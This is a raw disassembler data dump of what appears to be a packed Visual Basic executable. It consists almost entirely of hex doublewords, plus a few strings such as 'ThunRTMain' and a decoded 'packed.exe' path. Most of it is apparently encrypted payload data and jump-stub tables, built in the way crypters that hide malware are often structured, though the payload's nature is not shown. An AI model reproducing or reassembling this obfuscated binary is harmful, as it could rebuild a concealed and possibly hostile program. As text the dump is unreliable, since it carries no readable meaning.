839F3EB9h dd 13F255D4h, 6DD950D2h, 0AE6BAC7Ah, 154B2Ah, 0CC920000h dd 0E612106Dh, 74494F04h, 4F04E5F6h, 0D6198576h, 77EB607Dh dd 0ED7F4DC4h, 4FDDEF6Eh, 0A0BA0E89h, 319B32Ch, 6785D752h dd 0DB617BF6h, 30CA9E19h, 90AA3EB9h, 0B30D5FD8h, 81E68956h dd 4C6h, 4EE8300h, 5C243487h, 68241489h, 6C7h, 51240C89h dd 0C181E189h, 4, 8704E983h, 895C240Ch, 6850241Ch, 182404A5h dd 8124048Bh, 4C4h, 48D0F700h, 3203B835h, 58C189E2h, 241C8B54h dd 5104C483h, 1EE2BE56h, 743114EDh, 8F5E0424h, 73810843h dd 0ED1EE208h, 241C8B14h, 81E38953h, 4C3h, 4C38100h, 87000000h dd 0FF5C241Ch, 83592434h, 0E3E904C4h, 0CDFFFA75h, 0CB314EE7h dd 75BB817h, 0C50305EAh, 9FC3E0FFh, 62C0253Fh, 0E0995E1Ah dd 0A9CD0ECAh, 50D01839h, 0D0795197h, 0ADA97903h, 0D6426C94h dd 2798041Eh, 0D0D17641h, 9F934CD2h, 0B0A203CCh, 0DA050F72h dd 62E2A77h, 989B55A5h, 6E445C47h, 8C096311h, 15A12BEEh dd 9BE743E1h, 0DC527028h, 5FB07ADEh, 0D19824BCh, 8E8F4C20h dd 0E365241Dh, 0E6AE0A77h, 69EA18C3h, 12E85C9Fh, 0C9000000h dd 0C1AC2B62h, 0AC5723E0h, 15C8944Dh, 57B3C8F2h, 0F5FF8FCh dd 883h, 870F5200h, 0 aYbT db 'Y│гбt',0 dw 0F00h dd 38Ah, 0BEE8000h, 68h, 7EB86600h, 0DA805B25h, 1F348B5Eh dd 0F681CE8Bh, 1740A882h, 28F0Fh, 0C18A0000h, 0F689EE81h dd 0BE807E4h, 42000000h, 94BA222Fh, 0BC9BC6CFh, 840FFC2Fh dd 18h, 13E9h, 3DB40C00h, 512F0745h, 40B02ACEh, 0C2642ABAh dd 4573A593h, 71C68158h, 0E9479F45h, 8, 0B82E1046h, 2B6499B9h dd 0F1F3489h, 38Fh, 0C7B70F00h, 0B403EB83h, 820F4BEAh dd 3, 816DEC80h, 0FF8C00FBh, 7E850FFFh, 81FFFFFFh, 29257EE1h dd 17DE926h, 5D600000h, 16C4FFEh, 0D1D76FC2h, 41EFB4CAh dd 52E45B7Eh, 0FB6D5D97h, 9244FCA3h, 92A59EB9h, 0E495BCD7h dd 0CB0093B9h, 0A3F49DB2h, 0B9FC9CACh, 45D2009Eh, 0EE73AFC9h dd 9755FC00h, 6D599CBAh, 0FFB2A4E5h, 0F647FEACh, 0D4C45657h dd 0B5F600CCh, 49F78F7Dh, 0FA975395h, 0CD45C9BCh, 6CA1915Ch dd 0ACE5h, 1, 42h dup(0) dd 0F8000000h, 0A43736D1h, 0E2D3C20Dh, 0E94D2008h, 0FF6h dd 0EA0C8D68h, 39FEE905h, 7868FFFBh, 0E905EA0Dh, 0FFFB39F4h dd 0EA0F2E68h, 39EAE905h, 868FFFBh, 0E905EA10h, 0FFFB39E0h dd 0EA112068h, 39D6E905h, 0E568FFFBh, 0E905EA11h, 0FFFB39CCh dd 0EA127568h, 39C2E905h, 0F468FFFBh, 0E905EA12h, 0FFFB39B8h dd 0EA13FC68h, 39AEE905h, 6568FFFBh, 0E905EA14h, 0FFFB39A4h dd 0EA152868h, 399AE905h, 0DB68FFFBh, 0E905EA15h, 0FFFB3990h dd 0EA169D68h, 3986E905h, 0FD68FFFBh, 0E905EA17h, 0FFFB397Ch dd 0EA18DA68h, 3972E905h, 0C2ADFFFBh, 79E99C15h, 0B324DB50h dd 0FC6A1D96h, 3BA95CD5h, 0E0019D16h, 4F24099Fh, 80694CD8h dd 0C0A98E1Dh, 0EEBCC5Dh, 6CAC3D93h, 0ABC92916h, 7FECB30Ah dd 9C0DF05Ah, 85CFEBBh, 0B505D5EBh, 0C31DE424h, 0EF7C23CCh dd 911BCAh, 0D2A734A7h, 97C79362h, 0B56B6C7h, 0EE91C927h dd 3FFE547Dh, 0D335AC48h, 71C9270Bh, 0CDC78F7h, 270B9F7Dh dd 3E558C9h, 0D8570936h, 4882CFh, 0FF2B0000h, 1C998DAFh dd 8C9BC7DBh, 6F3F8FDDh, 0C365BE5Eh, 0E28679CCh, 0A747B673h dd 9110D2h, 0E68273DFh, 0EDA06ADDh, 0C927472Bh, 1480BF89h dd 64108A60h, 0B9333524h, 30C32289h, 724F29AFh, 0CFD7864Dh dd 0C27Eh, 7FEC6F00h, 7DD5FC6Ah, 9C01C9B8h, 0BC61290Ch dd 58CAEB2Fh, 1D62A271h, 0D2A5CCC3h, 65F6B763h, 3620B77Ch dd 82CCC322h, 804A6FE3h, 0F5DC4E2Dh, 3821B233h, 0E9C1D73h dd 0F6D3442Bh, 56DF591Ch, 64369CC5h, 0DDDF310h, 0C3199C7Ch dd 0E45BCCh, 3BD04150h, 0A215D2A7h, 0EFFC9312h, 2DE55479h dd 0AB2FAC48h, 0B19404DBh, 17A514D9h, 4DE07F86h, 89DFAED7h dd 0DC5578E8h, 37A6BB29h, 0E2DBA312h, 0F0DB1F7Eh, 0D5E4A66h dd 0E610000h, 2DBD20C9h, 6FF86F04h, 0A83EA14Ah, 0EF7DE089h dd 945521CAh, 1398BD53h, 54DDF86Ch, 941D42D1h, 0D25F8011h dd 0A060715Fh, 67C92911h, 7CEC7F4Eh, 0BC2DD059h, 3D471E9Bh dd 1DBC5C6Dh, 847BCCC3h, 0FD2272E0h, 3F25DEEFh, 3DF0D2A7h dd 287FBAFh, 2C45C749h, 3FF9DE4Dh, 81CF89Dh, 0E6BEC927h dd 467257C7h, 136849A6h, 6E5CD86Dh, 61FD22D1h, 1293CFD8h dd 95D85C85h, 0CCh, 0BE5E6F3Fh, 79C9271Eh, 0EC4BE286h dd 6B0A5A7Fh, 0B97CD6F3h, 38A85DFFh, 9819BD15h, 0D1402409h dd 0CCC322E5h, 9E2E1380h, 0E0AA8F1Fh, 0D88FA83Dh, 0BB28DF5Ch dd 0A5A3C96h, 55C6D7E5h, 90D2A73Bh, 0F2C254DDh, 0DA89AE3Dh dd 0E5FBFB8Ah, 0B90CD74Dh, 371A8A2Bh, 593BF5A1h, 0D6A2D1FDh dd 0B626D952h, 1C1CEB93h, 0A02ADB1Fh, 0C7310h, 0DCF99400h dd 1F42D057h, 5D7A1392h, 9CC551D4h, 0DD009017h, 46A93A54h dd 8706F3D6h, 0C47B3015h, 4BB7055h, 4AF9B297h, 10957B0Ah dd 3D52C929h, 597CEC6Ah, 9BBC2DD0h, 0E37475C5h, 0DAA90CC6h dd 0CCC31D3Ah, 525DDCAAh, 0FBD89CA3h, 0A5EB6004h, 2016E8F1h dd 1C880FD3h, 3DACFE6Ah, 5FFEBA43h, 0BC5C6D3Dh, 2CCCC31Dh dd 3B5B6BD9h, 9C53B0C7h, 27089918h, 0BC801091h, 0C369EF2Dh dd 0E65528CCh, 64F5A802h, 5024B643h, 0D94D1DB3h, 6D7C62D0h dd 0CCC33AAFh, 0BAE39568h, 5CF5B73Bh, 0D2A7A72Fh, 24451BEAh dd 0B4C156B6h, 9E0DD5F7h, 1692632Fh, 7337D144h, 0C352C927h dd 0F084349Eh, 752F0291h, 0B274E584h, 273BFD23h, 944B3AC9h dd 201F6B3Eh, 3CBD1155h, 62BB8ADh, 5897D557h, 0D84B7659h dd 6B17CFh, 0FF400000h, 7A838DAFh, 0F5F6E0A5h, 627B606h dd 0C3D2A7DBh, 15F7A66Ch, 70C927A4h, 9213FFE2h, 0BB75DD04h dd 0F3FB82B1h, 1807FA49h, 0B5CFD7B4h, 39h, 9E7E0FDFh, 59C927ACh dd 0FFAB02E6h, 697848AFh, 0D2A733C4h, 8B68BB31h, 0E39AD4A4h dd 8C1D9C2Ch, 7653C4ABh, 937518B2h, 31C927DCh, 0D6F93837h dd 0F7CFD7AFh, 7, 80001E0h, 0FFA80000h, 697848AFh, 0D2AD2805h dd 4F72E081h, 6D763283h, 0A7163BAAh, 0DE039011h, 1841D255h dd 6F8CE0B2h, 2CF74859h, 5322D747h, 0C9EC7C7Dh, 1E2AEAFBh dd 1AEDCCC3h, 32A7C69Eh, 70E1640Dh, 0BD11834Fh, 0FD6F0E5Eh dd 0E7567BE8h, 0F6AE4A2Bh, 0A75392E7h, 6E057D2h, 0D53DDC39h dd 0BDF58D4Fh, 0C200000Ah, 1E816AAFh, 59CCA58Ch, 9F0EEBCCh dd 0DE412A0Fh, 0F48E6B4Eh, 391C8CF3h, 7E5BCD70h, 0BEA332B5h dd 0F8E172F5h, 0C1D08033h, 0C9291243h, 3D98EF84h, 0AF382DBCh dd 0BE6DC08Ah, 0E8761D4h, 0CCC31E0Ah, 0BAAF3FBEh, 0FB57062Bh dd 0CB1B15FFh, 8F7E9C75h, 6368A839h, 0D8AFCCC3h, 11F6C65Ch dd 594C3243h, 249BD2ADh, 14FBCB4Fh, 50413544h, 3786D747h dd 6C25D1A1h, 0D774AC68h, 22E8CD43h, 99189C53h, 0A4A2708h dd 0AEE52BBAh, 1380CCC3h, 9E1AED2Eh, 0F55D8217h, 1CAC5323h dd 0AD95B88Dh, 3A8A7DD2h, 0C14C2F4Eh, 60075D2Ah, 0B607D3F6h dd 8E03A2F2h, 0CC5DC0A9h, 0A86E2FEBh, 0DE4929E4h, 4A5B698Eh dd 574DB865h, 24991890h, 69A47093h, 2A19FCBAh, 0AD2F5B13h dd 9E315h, 4C89E400h, 8FB220A7h, 0CDEA63E2h, 0C35A124h dd 4D70E067h, 0D619CAA4h, 17966346h, 54CBA085h, 940BE0C5h dd 0DA492207h, 0D25EBFAh, 0CDE2C929h, 2DBC3DFAh, 0A6F66C08h dd 3C627341h, 0EBD2AD27h, 3C96B324h, 0BB3A8A79h, 0F5680126h dd 5974364h, 730252B1h, 0D7472E3Fh, 577AEA8Bh, 557E3AFBh dd 3DD3D2E2h, 0A5C49C18h, 8CA92334h, 40D154DDh, 0B928491Fh dd 1DBA3E94h, 0F50C53A9h, 0B7C69645h, 0CCC38F51h, 0F7452796h dd 22B25125h, 0ADB4E293h, 10A017D2h, 93B42140h, 33B276C7h dd 4DF0B99Eh, 0BF1FFBDCh, 0C08AAF3Eh, 0FE1A8B6Dh, 88C92986h dd 0F081D734h, 0D747BD4Ah, 1B9A2A9Dh, 55C8A186h, 0EB6302C4h dd 8FD93FCEh, 0AF1ECCC3h, 773CE8F8h, 0DCCA96Ah, 0B9EA3A2Ch dd 0A4F14F0Fh, 0A77354C5h, 16F852D6h, 4313A146h, 1B48B422h dd 0F7E3D502h, 0E8761D0h, 0D2AD8398h, 391E8D2Ch, 3B189C51h dd 0B80C8E44h, 6774055Bh, 0A2D74DE3h, 707A2BD3h, 0CE88DB13h dd 8CBB2h, 74A1CC00h, 0B79A08BFh, 0F5D24BFAh, 341D893Ch dd 7558C87Fh, 0BE01E2BCh, 0FF6E0B2Eh, 3CA3486Dh, 7CE388ADh dd 0B221CAEFh, 0C4DD3E2h, 0E58AC929h, 0BB7FEC92h, 0C31DEA2Ah dd 0EB5A2DCCh, 9A0EAF2Fh, 8662D3BFh, 17A58A1Fh, 1DD63647h dd 5E11CCC3h, 0DD2570DAh, 9726F666h, 0CCC31D71h, 0BC25C7B6h dd 4A610A2Fh, 0D5BC7165h, 766h, 79015700h, 0A8000004h dd 0F4C871CEh, 6273B727h, 0CCC31DA2h, 77239265h, 0F081D786h dd 0D2A7474Fh, 5942B9Ah, 9A2AC455h, 1CAC5323h, 48BF7C8Dh dd 0F6C6B904h, 894166F7h, 28EA4024h, 9021B754h, 1A15744h dd 1D9C2C83h, 5FCEAB8Ch, 5A01E5CAh, 6804355Dh, 806D2EEh dd 66090000h, 0D545F8B1h, 178007ECh, 50C67932h, 9705B871h dd 3CADF9B2h, 0AB4065FBh, 0EC85A034h, 2CC5EA79h, 6A0728B9h dd 80899F7h, 0CFC9290Ch, 7FECD7A6h, 9F0DF05Ah, 95DF1BAh dd 0B46B4EDAh, 0C7555424h, 0ED8F06E2h, 2AD2AD26h, 0F764055Bh dd 35A659D2h, 80D4460Ch, 0B0D57EA6h, 82715F7Ah, 0DCEFA332h dd 0B428D747h, 0C3EFE725h, 9E4D20CCh, 153AAFCEh, 97B22647h dd 72E76615h, 0D0D1854Dh, 1A9B1D40h, 22C7A78Ah, 30DB211Bh dd 7760AA6h, 0F6990000h, 45D54821h, 8710971Ch, 0C056C9A2h dd 79508E1h, 0AC3D4922h, 3BF0D54Bh, 7C351084h, 0BC755AC9h dd 0FAB79809h, 98780947h, 5FC9290Fh, 0AFFF6736h, 358C7848h dd 0ABF877F3h, 5581133Ch, 0D48B79AEh, 1710050h, 0C6D2AD05h dd 0D3406177h, 118205EEh, 0FAA98C18h, 7754CBEAh, 0FC5EDA9Bh dd 17A54A1Ah, 4D6AC986h, 2EBF0FD7h, 0CCCD12EEh, 0F1D25629h dd 0FEC5783Eh, 79D3DB13h, 6F769h, 0A0751800h, 0E3C654CBh dd 21069716h, 6041D548h, 0A184148Bh, 0CA2DBEC8h, 0BBA775Ah dd 48FFB491h, 883FF4D9h, 0C67D361Bh, 0F19FF8Eh, 0B1DEC929h dd 2FBC3DE6h, 0BED400Ah, 5A30198Ah, 0E1F036ABh, 0CCC31D23h dd 12A211E4h, 5BDDFA93h, 0E15EA4F1h, 6A8D8377h, 369CC556h dd 0B87E5547h, 0A330B17Bh, 0D3A3F5BEh, 0C37C42C2h, 90B527CCh dd 0A7167B3Ah, 0BC7E8C5h, 7C4D5BCh, 0F5000000h, 29701h dd 7FECA800h, 1DEA2ABBh, 6A2DCCC3h, 0B97CD6FBh, 24451BCAh dd 46C793B6h, 6602F1D0h, 8D7242D4h, 28FCAE3Fh, 443BD2ADh dd 43AB38AFh, 8308FFD4h, 2BB968A4h, 5C361B8Ah, 0C8BD1F99h dd 1ABC7558h, 8617A54Ah, 0D74756F5h, 8B1D9C30h, 8211E4AEh dd 0CCC36482h, 0AD03F245h, 0F1BA9F0Ch, 57C4DD4Eh, 66D59872h dd 466BF9ACh, 55BA0A8Ch, 53017607h, 0C3B7D2A7h, 6101D9EFh dd 99BA7ECCh, 40B74026h, 0BCDD53Dh, 5EF77h, 587D1000h dd 9BBE2CD3h, 0D9FE6F1Eh, 1839AD50h, 597CEC93h, 0C225C6D0h dd 3826F52h, 40C7AC89h, 8007ECD1h, 0CE452E13h, 0E11F786h dd 0B9D6C929h, 5A7FECEEh, 0BB9C0DF0h, 0C4445525h, 3CCC31Dh dd 0B62C8ACh, 0C455102Fh, 0FC2316E3h, 91D5BC6Ch, 7, 14F013Ah dd 0ECA80000h, 35DC5A7Fh, 43DB220Dh, 586F989h, 0E6890000h dd 55C57831h, 9700876Ch, 0D046F9B2h, 178538F1h, 0BC2D7932h dd 2BC0E57Bh, 6C0520B4h, 0AC456AF9h, 0EA87A839h, 88881977h dd 4FC92909h, 7FEC5726h, 1DEA2ABBh, 9F2DCCC3h, 64663C6h dd 0EF5E0DFEh, 0C8F16223h, 446DF9F8h, 0EF4D2F8Eh, 6776C696h dd 0CCC386A1h, 0D7159766h, 9BBC2D18h, 0D1F4DB1Eh, 3484D5BBh dd 3F54FD40h, 41D0C7D3h, 0CCC3D9C3h, 82F7B104h, 1Ah, 0BF012Bh dd 3DA80000h, 0D9E82CBCh, 0CCC31D3Bh, 0DE5A09FCh, 0ACBAh dd 493DE300h, 0AC3A1F2Dh, 0BA521385h, 0A7F76D0Fh, 31617040h dd 0F6D2AD76h, 0F5C94B07h, 96374616h, 53D74D66h, 0CC851A9Ch dd 3993DB13h, 4C3A9h, 6CA9C400h, 0AF920087h, 0EDCA43C2h dd 2C158104h, 6D50C047h, 0B6F9EA84h, 0F7760326h, 34AB4065h dd 74EB80A5h, 0BA29C2E7h, 845CBDAh, 0ED82C929h, 48AFFF9Ah dd 0C4ED7978h, 95CDAF0Eh, 0A7693004h, 781084D2h, 1FFBB2A4h dd 582F34F0h, 0DBFC6908h, 215EBF5Eh, 0A839C927h, 0BAAEA87h dd 4EF7B196h, 765BC8D9h, 5A6AD99Ch, 45D2C75Bh, 10C7B61Ch dd 1796C694h, 0B6DA5E83h, 448h, 78AFFFE7h, 4117C6EBh, 0AD284230h dd 9726F6D2h, 0C9291771h, 1E25C7B6h, 5D31E3AFh, 3E9F2EBEh dd 88D74D38h, 0FB5778E9h, 0E2557E3Ah, 13EE9104h, 9D35A7DBh dd 410h, 0F2BF5C37h, 31FADF73h, 7338198Eh, 0B27F5ACCh dd 0F3B89D33h, 73E146A7h, 0B622A54Eh, 0F067E693h, 32A726D3h dd 0A7ED640Dh, 2908F616h, 0D5A031C9h, 7848AFFFh, 0AD280569h dd 0C3E2F2D2h, 7B99684Dh, 0BCC92917h, 2B4A1AC9h, 651891B6h dd 5707D3F4h, 1716F687h, 2ED1C929h, 49289FBAh, 591CF6DBh dd 927145DFh, 2C52B3C2h, 3087D747h, 7100D0A0h, 0CCC31E93h dd 0F212E154h, 62CCC31Eh, 0A7BD4463h, 8FFDC3Bh, 24B5346Ch dd 62F77603h, 0B303957Dh, 0DAC7C4Ch, 1CD1B99Eh, 7DDF3D4Ch dd 0A518CCC3h, 300152C3h, 36B7D2A7h, 0AFCB87A2h, 1A8FB74h dd 3DFFAE0Dh, 5EC7A716h, 74D53D40h, 34ECEE2h, 1E710000h dd 1D8D30F9h, 5FC87F34h, 980EB17Ah, 0DF4DF0B9h, 846531FAh dd 0E388AD23h, 24CDE87Ch, 640D32A1h, 0A24F70E1h, 0B050612Fh dd 77C9290Bh, 7FEC0F5Eh, 9C0DF05Ah, 0EA9EFEBBh, 0B8C91327h dd 61F3B596h, 0CFDEEE0Dh, 0D2A7B1EEh, 7409AC58h, 0A6528D6Bh dd 440EE1C2h, 27EA37D1h, 9C5395C9h, 0D776321Dh, 5C5BCFh dd 0F4F50000h, 0C1E47065h, 1DF5A409h, 0FF7DDC58h, 0F818A9AFh dd 4CCCC31Dh, 0C31DDF3Dh, 64A518CCh, 3922291h, 0D2A73F06h dd 1424D0A0h, 0FEC766C2h, 801FFD8Ch, 0AE8FC927h, 0CC82CEF2h dd 0FFCDA0E1h, 27B42EEEh, 9216E9C9h, 8114FEB1h, 0C927B487h dd 0CD2C0325h, 0CFD7C7E2h, 0E7EBh, 7FECDC00h, 9F0DF05Ah dd 0BC2DD0BAh, 746C325Eh, 1A8E5FA9h, 391B1D15h, 974332D7h dd 0D75C8516h, 0C3E11640h, 8F03A2CCh, 6B0DE0AAh, 0DB5079EAh dd 96EE01F5h, 583B5B0Eh, 0E3C455DCh, 37116537h, 131DB49Bh dd 4C71E028h, 0F9E2E9Dh, 0D2A7505Ah, 0D43289Fh, 60EC2CBDh dd 537CC927h, 7A299500h, 3EFA4D8Eh, 9D33D0A4h, 4DE65A0Ch dd 9A2A9DD7h, 390851Bh, 0D28174DEh, 886AE382h, 14DAF590h dd 0CE85F77h, 9588188Fh, 48CAE707h, 2845C34Ah, 8DEC8A79h dd 9BDB1F18h, 1EEA131h, 7E110000h, 0BD2DD059h, 0FF681F94h dd 38AE51DAh, 7FED9019h, 24C5D15Ah, 83684DC3h, 0C4AD881Ch dd 4EDD241h, 422F1081h, 10F081CFh, 0D7C9290Ah, 7CECEFBEh dd 0BC2DD059h, 6475C59Bh, 0CCC31DA4h, 5A188C63h, 80E6D4E6h dd 15A02BCDh, 0EF78AFFFh, 851D40Fh, 8D7CF777h, 338170C5h dd 0A79B79A2h, 7E0FDFD2h, 0C9279B9Eh, 6247D659h, 2BEAC9B3h dd 682291B6h, 279B63A5h, 0C867C1C9h, 0D7EB0629h, 0AB87CFh dd 0EC300000h, 0DF05A7Fh, 8B2ABA9Fh, 0D9733512h, 0C3220234h dd 0CDF267CCh, 0F30A124h, 38D8E9B9h, 0FFCCC319h, 4CCE6C08h dd 75C59B78h, 0C4EBA481h, 72368821h, 0A7056EE3h, 5FD4ABD2h dd 0B404EBBBh, 4DEB1625h, 5060D7D7h, 159EC351h, 5FDF0292h dd 0DB1F80EAh, 11425EF8h, 36000001h, 72F5BE5Bh, 8D30F9E0h dd 0F3723F18h, 32B57E5Bh, 98F2BFA2h, 4D70E047h, 92B721A4h dd 0D2F76619h, 0C35A659h, 15A4EC67h, 0C92905F7h, 0ECD4A330h dd 0BB0B597Ch, 0C31DEA2Ah, 34198FCCh, 0CBBA9F5Eh, 0A63BAA21h dd 0D4A4E881h, 0C31D47C5h, 4B2D80CCh, 2FBC3DE2h, 72E76E0Ah dd 9300854Dh, 7D51C5AEh, 3BAFCE9Eh, 21069716h, 0B0E08469h dd 0AD284521h, 673382D2h, 0AC3C35A6h, 0AE51DA89h, 24E4F53Dh dd 0E3C92917h, 20F55D0Ch, 10673B04h, 7D3F461h, 67331686h dd 4A66677h, 8E6181E3h, 1265DAE4h, 89FC73B7h, 1A7A3718h dd 8511069Bh, 5007F65Ch, 9BBC2DD4h, 0A46475C5h, 1081E304h dd 0E3048381h, 90F14481h, 0DDF15BDDh, 49C7C0Dh, 0D45B81E3h dd 0F2B66540h, 14FEDB73h, 75E3509Ah, 8C2E774h, 0D142C3A5h dd 302CD8E8h, 5A997239h, 5A7F1392h, 39AA5DDEh, 0CD44010h dd 24BBAE0Bh, 0C2DE7C38h, 0Ch, 4546612h, 9197DADAh, 52FB4617h dd 0FE5481ECh, 0DDB59A0Fh, 3E94B928h, 12F8DD4Fh, 72D8FD93h dd 52381DB3h, 0B41E3BD3h, 974364F1h, 0F55D8416h, 5F5457E3h dd 4C781h, 0EF830000h, 243C8704h, 3B8A685Ch, 0C890000h dd 5E956824h, 4890000h, 317FB924h, 0E1815487h, 5B767E4Fh dd 5207E1C1h, 475979BAh, 81D2F758h, 39863BC2h, 5AD1315Fh dd 4EC81h, 24890000h, 24048124h, 4, 0CD895558h, 89E98951h dd 5D590848h, 5324048Bh, 0C381E389h, 4, 8704C383h, 8B5C241Ch dd 8956240Ch, 4C681E6h, 83000000h, 348704C6h, 1DE95C24h dd 0C3FFFB2Ah dd 35391F49h, 4C3DE5A5h, 10B81654h, 305EA1Ah, 4CE0FFC5h dd 781651D0h, 0DC75E2E5h, 0A92B797Dh, 8F087CE4h, 0EC19AE1Bh dd 0C1A546Ah, 5205C171h, 7725888Fh, 564AE698h, 0C65CAB68h dd 2C1897BDh, 0C34BA4E7h, 0BD773CFEh, 5C40081Fh, 3245FE0Ch dd 93642AFFh, 15690E1Ch, 0B59DC07h, 0DD197D53h, 0C01046A7h dd 33446670h, 0E91E784Ah, 15Ch, 77E705C5h, 6D5C3A43h, 706E755Fh dd 656B6361h, 61700072h, 64656B63h, 6578652Eh, 3Bh dup(0) a3cannotFindS_P db '3Cannot find ',27h,'%s',27h,'. Please, re-install this application',0 aThunrtmain db 'ThunRTMain',0 a__vbavartstne db '__vbaVarTstNe',0 dd 40785305h, 1B5BE9h, 1E6E6800h, 53E905EAh, 68FFFA61h dd 5EA1F6Fh, 0FA6149E9h, 20A468FFh, 3FE905EAh, 68FFFA61h dd 5EA2169h, 0FA6135E9h, 21A868FFh, 2BE905EAh, 68FFFA61h dd 5EA2278h, 0FA6121E9h, 22D768FFh, 17E905EAh, 68FFFA61h dd 5EA231Eh, 0FA610DE9h, 295C68FFh, 3E905EAh, 68FFFA61h dd 5EA29F9h, 0FA60F9E9h, 2AA768FFh, 0EFE905EAh, 68FFFA60h dd 5EA2B88h, 0FA60E5E9h, 2BF168FFh, 0DBE905EAh, 68FFFA60h dd 5EA2CCFh, 0FA60D1E9h, 2D7468FFh, 0C7E905EAh, 68FFFA60h dd 5EA2E01h, 0FA60BDE9h, 345A68FFh, 0B3E905EAh, 68FFFA60h dd 5EA35ABh, 0FA60A9E9h, 365C68FFh, 9FE905EAh, 51FFFA60h dd 0BA60679Eh, 0C16B93Eh, 5FCBCA4Dh, 0A763629Dh, 314BB36h dd 0F970E5B4h, 0F884CD6h, 0A3249288h, 0F671E63Ch, 47928D7h dd 54EF0326h, 455DE086h, 0B9BB8491h, 3B54EF02h, 3E3587F8h dd 0C0770455h, 3E73EC60h, 0A0DB90AAh, 93745E3Dh, 64AC95Dh dd 9876A9E5h, 96B55DC8h, 3817E3Dh, 0E09E635Ch, 87C654E9h dd 0E9D7BCBEh, 82F73854h, 0D82F3136h, 0C09A54E9h, 0BF3A09C0h dd 47A333F9h, 0EA000000h, 2AED6FD8h, 0E90860D5h, 411BDC54h dd 0DE5CA100h, 3E54E907h, 528501BEh, 7B6B8F9h, 491154E9h dd 0EAC38049h, 7DDC33F8h, 0FBC3A19Eh, 0EE2154E8h, 0E8FBB3B1h dd 9795EA54h, 1554E8FBh, 9A77B822h, 0DE23h, 0C0776A00h dd 64E97349h, 8E4DDFEDh, 28AFBD0Fh, 256D198h, 4F99CD1h dd 4F04EA6Eh, 0D9483D15h, 9ECE3CFEh, 0A56EA3DCh, 547BF279h dd 3A8E09CEh, 0FF7DD68Fh, 0A827127Ch, 0D1869699h, 405A399Ch dd 0C0A2838Ah, 3C4F0579h, 13286FBh, 0E4F477E5h, 0F05DA26Fh dd 4C54E99Bh, 0C4B1048Bh, 0A3BE8746h, 0D75AD044h, 63C2A164h dd 7042002h, 0FE5B9C4Fh, 27A62194h, 0FEFF7AFBh, 22204BFEh dd 0AD6ED785h, 19000018h, 62B8DF56h, 0B46E71F6h, 7038205h dd 6FBBDA55h, 0BB6C73EEh, 0B128ADFCh, 0C740F42Eh, 1B9C5AC0h dd 0AE29AE74h, 0CC31902Fh, 54EF046Eh, 77E3B8CEh, 70F762C6h dd 84F9583Fh, 4F04E5A6h, 6379F666h, 4805F6F0h, 0EF6EED35h dd 5D25C228h, 6D67EEBBh, 99D755AAh, 0E2554F05h, 0D8C19629h dd 0F02AED6Fh, 7DF6C27Dh, 7BF0CD90h, 0FB54E908h, 0B9BFA038h dd 5B54E907h, 0B04A1E99h, 5128803Bh, 6A418989h, 3FBA3F6Bh dd 0F1DDB6ADh, 0EB0B78B1h, 0C77C33F8h, 9B000000h, 8649C077h dd 0CB1379ACh, 5293E4C2h, 4F05A2D0h, 6CB6EB2Ch, 29A36CEFh dd 9527A213h, 5A71852h, 0FD57044Fh, 48BFC7Fh, 40F7591Eh dd 0F40F3C9h, 0D55700BDh, 0C1400D72h, 5B9C54E9h, 16944134h dd 0ACAD0B7h, 4B043F8Dh, 0D026DE6Ah, 3709615Ah, 761689E8h dd 19DAE4B1h, 6EE96CB6h, 8702B36Fh, 2048B026h, 0A809C322h dd 17ACh, 0B9DC5718h, 6F6EE961h, 1C8306B3h, 0B4DB5406h dd 6D70EF6Eh, 29ACFDB8h, 43F32FAEh, 9359C1C4h, 2EAD7518h dd 329128AFh, 0EF056FCDh, 0E0BFCD54h, 844BC677h, 9A3DC9Eh dd 900BC0DAh, 0E9C1A0C7h, 0C8329D8Ch, 6CB66376h, 4F3D75EFh dd 0B09F2AA3h, 65B1BA36h, 5384664Bh, 0C0779B4Ch, 62E97349h dd 7CFE24EBh, 917AE9C3h, 0C773AF0Eh, 6B249740h, 66B7E0F0h dd 9A7518F3h, 7AF9D5ABh, 0FE9ECC7Bh, 0D30274C0h, 95EAAD9Eh dd 54E99B74h, 0BAAD3FF0h, 54E996B4h, 8E474B1Fh, 33F97DB5h dd 0F726h, 60487100h, 884FCDBAh, 0C178F129h, 0DCB930A5h dd 0E90FDA97h, 3AB05A54h, 0C7382B81h, 0B8122609h, 75AD2983h dd 218845C4h, 0B8856474h, 208372BAh, 0AA88F93Ah, 0A208372h dd 0CC3194C9h, 26679A5Fh, 3119FC3Fh, 0A33D4B8Bh, 124B25A2h dd 0A1524A84h, 39B424F1h, 0F772E74Ch, 92F7C382h, 0C34928BEh dd 695629E2h, 2986F237h, 5CDF9C86h, 4104F7F3h, 43199059h dd 3A60C790h, 8F9B3ABDh, 80E2C3C8h, 0FC2082D8h, 0F36EEF3Bh dd 77DB39BEh, 78D050A4h, 1677B9h, 0E960D300h, 3BBC3CE6h dd 4CCB8E94h, 0E41FD149h, 3DB439E1h, 67328D9Ah, 0CE547BF6h dd 140E910Eh, 78A225A6h, 0AE5578F3h, 5A486FFh, 7A0054EFh dd 106DCC2Dh, 4F04E612h, 7AEDB892h, 0AEEE357Fh, 0C176907Dh dd 0DF208746h, 4F055C5Dh, 19B31CDFh, 6F68F3ACh, 0A6A0D553h dd 0DA2BEADFh, 54EA0035h, 0EDFFE31h, 0CDBA6048h, 0FAB7884Fh dd 0A154E90Fh, 96EFF479h, 54E90F94h, 0DEEADF10h, 0CD0EA865h dd 0B303C03h, 0CA83DC12h, 0ABB88548h, 0CBD7B5DCh, 61C4FF11h dd 0F02584AAh, 0AB30EDD8h, 7EC9D873h, 0C184F99Dh, 1493AAFCh dd 4609CADCh, 0BA3DBBE7h, 3E58352Eh, 839F3EB9h, 0BA1455D4h dd 0D9F533Ch, 15B2E64Fh, 5D1E0000h, 0F367A322h, 0C95174h dd 5A1C0689h, 0F164BE21h, 0F7C65776h, 11B433A2h, 0CBCA4509h dd 7F1E995Fh, 12B534A3h, 69CB346Bh, 0CB54EF07h, 0C077E6BDh dd 69906049h, 0B5272222h, 1573CCh, 0E51CDF00h, 37B038E2h dd 48CF8A90h, 0E01BDD45h, 39B025FDh, 63368196h, 0CA5077F2h dd 100A8D0Ah, 64BE215Ah, 0AA5174F7h, 6A88AFBh, 660454EFh dd 49C07729h, 99894673h, 4E5C6A4h, 80F5264Fh, 36EF5DDh dd 0F0AD73D0h, 0EA7F4027h, 8A54E9ACh, 94E34649h, 3B04EB4Ah dd 54E99C39h, 290B78BBh, 8B54E99Ch, 732C8F48h, 98D12EF1h dd 9C5ACDC6h, 0E118D1C9h, 492B18CBh, 0AB4F0582h, 16593768h dd 0EBAE3A62h, 0D950051Dh, 404D4983h, 